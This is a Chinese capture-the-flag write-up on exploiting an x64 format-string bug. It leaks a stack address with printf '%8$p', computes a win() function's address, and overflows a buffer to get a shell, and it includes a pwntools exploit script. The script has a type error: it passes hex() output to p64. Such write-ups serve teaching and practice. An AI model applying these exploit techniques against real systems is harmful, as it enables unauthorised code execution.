利用printf打印栈中内容
B站上有讲解有关printf回显栈数据的课程,但都是以x86为例,这次做题遇到x64架构下的相关漏洞,故做本次记录。
IDA伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[32]; // [rsp+0h] [rbp-30h] BYREF
char buf[16]; // [rsp+20h] [rbp-10h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("What's your name?");
read(0, buf, 5uLL);
buf[5] = 0;
printf("Hello ");
printf(buf);
read(0, v4, 0x40uLL);
return 0;
}
...
// 0x900
int win()
{
return system("/bin/sh");
}
思路
利用printf回显得到偏移地址,在通过后门地址得到shell
过程
利用gdb查看printf处,查看栈中情况,根据esp位置计算得到我们想要的参数是第几个参数,但x64中参数位置计算有所区别。
上图可知,我们想要得到的0x55555555549f0距离rsp2个位置,但实际上我们需要填写的参数为%8$p
来打印栈中该地址内容。
经大佬告知,64位程序传参顺序是前6个分别用rdi,rsi,rdx,rcx.r8,r9,故0x55555555549f0为第8个参数。
exp
from pwn import *
context.log_level='debug'
p=process('./pwn')
p.recvline("What's your name?")
p.sendline('%8$p')
base_main_addr = p.recvline()
win_addr = base_main_addr[-12:-3] + '900'
real_sys=hex(int(win_addr, 16))
payload='a'*0x30 + 'b'*8 + p64(real_sys)
p.sendline(payload)
p.interactive()